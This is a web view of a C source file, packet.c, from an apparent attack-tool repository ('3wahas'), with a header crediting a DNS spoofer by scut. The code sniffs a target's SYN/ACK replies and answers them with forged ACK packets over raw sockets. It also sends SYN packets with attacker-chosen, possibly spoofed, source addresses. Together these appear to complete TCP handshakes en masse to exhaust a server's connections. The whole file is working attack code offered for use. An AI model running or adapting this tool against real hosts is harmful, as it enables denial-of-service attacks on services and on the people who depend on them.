summaryrefslogtreecommitdiff
path: root/other/3wahas/packet.c
blob: 7dd521a28a10a6fca43be6cc62cd0b2a381bb875 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
/* zodiac - advanced dns spoofer
 *
 * packet handling and queueing routines
 * by scut
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libnet.h>
#include <pcap.h>
#include "common.h"
#include "packet.h"
#include "network.h"
#include "sniff.h"
#include "3wahas.h"


/* pq_grind
 *
 * grind the packets received from the sniffer thread, stripping ethernet
 * header, filter non-TCP packets, add them to the packet queue, then raise
 * the correct semaphore.
 *
 * `sinfo' gives information about the sniffing thread and the packet queue,
 * `pkthdr' is from the pcap handler and `pkt' contains the real packet data.
 */

void
pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt)
{
	size_t		psize;
	sniff_info	*sinfo = (sniff_info *) sinfov;
	eth_hdr		*eth = (eth_hdr *) pkt;
	ip_hdr		*ip;		/* IP packet header pointer */
	tcp_hdr		*tcp;		/* UDP packet header pointer */
	char		*ip_src, *ip_dst;

	/* check if it is a IP/UDP packet, if not, silently skip it
	 */
	if (pkthdr->caplen < (sizeof (eth_hdr) + sizeof (tcp_hdr)))
		return;
	if (eth->eth_type != htons (ETH_P_IP))
		return;

	ip =	(ip_hdr *)	(pkt + sizeof (eth_hdr));
	tcp =	(tcp_hdr *)	(pkt + sizeof (eth_hdr) + sizeof (ip_hdr));

	psize = pkthdr->caplen - sizeof (eth_hdr);

	if (ip->ip_proto != IPPROTO_TCP)
		return;

	if ((ip->ip_src.s_addr != sinfo->ip_dst.s_addr))
		return;

	if (((tcp->th_flags & TH_SYN) != TH_SYN) || ((tcp->th_flags & TH_ACK) != TH_ACK))
		return;

	net_printipa (&ip->ip_src, &ip_src);
	net_printipa (&ip->ip_dst, &ip_dst);

	printf ("[%s:%5u] -> [%s:%5u] %c%c%c%c\n",
		ip_src, htons (tcp->th_sport),
		ip_dst, htons (tcp->th_dport),
		((tcp->th_flags & TH_SYN) == TH_SYN) ? 'Y' : ' ',
		((tcp->th_flags & TH_ACK) == TH_ACK) ? 'A' : ' ',
		((tcp->th_flags & TH_FIN) == TH_FIN) ? 'F' : ' ',
		((tcp->th_flags & TH_RST) == TH_RST) ? 'R' : ' ');

	pq_3whs (ip, tcp);

	free (ip_src);
	free (ip_dst);
	return;
}


void
pq_3whs (struct ip_hdr *ip, struct tcp_hdr *tcp)
{
	u_char	*buf = xcalloc (1, sizeof (ip_hdr) + sizeof (tcp_hdr));
	int	sock = open_raw_sock (IPPROTO_RAW);

	if (sock == -1) {
		free (buf);
		return;
	}

	build_ip (TCP_H,
		0,
		1911,
		0,
		64,
		IPPROTO_TCP,
		ip->ip_dst.s_addr,
		ip->ip_src.s_addr,
		NULL,
		0,
		buf);

	build_tcp (htons (tcp->th_dport),
		htons (tcp->th_sport),
		libnet_get_prand (PRu32),	/* seq */
		htonl (tcp->th_seq) + 1,	/* yeah */
		TH_ACK,
		1024,
		0,
		NULL,
		0,
		buf + IP_H);

	do_checksum (buf, IPPROTO_TCP, TCP_H);
	write_ip (sock, buf, TCP_H + IP_H);

	free (buf);
	close (sock);

	return;
}


void
pq_syns (char *ip_src_c, char *ip_dst_c, u_short dst_prt)
{
	u_char	*buf = xcalloc (1, sizeof (ip_hdr) + sizeof (tcp_hdr));
	int	sock = open_raw_sock (IPPROTO_RAW);
	struct in_addr	ip_src,
			ip_dst;

	ip_src.s_addr = net_resolve (ip_src_c);
	ip_dst.s_addr = net_resolve (ip_dst_c);

	if (sock == -1) {
		free (buf);
		return;
	}

	build_ip (TCP_H,
		0,
		1911,
		0,
		64,
		IPPROTO_TCP,
		ip_src.s_addr,
		ip_dst.s_addr,
		NULL,
		0,
		buf);

	build_tcp (libnet_get_prand (PRu16),
		dst_prt,
		libnet_get_prand (PRu32),
		0,
		TH_SYN,
		1024,
		0,
		NULL,
		0,
		buf + IP_H);

	do_checksum (buf, IPPROTO_TCP, TCP_H);
	write_ip (sock, buf, TCP_H + IP_H);

	free (buf);
	close (sock);

	return;
}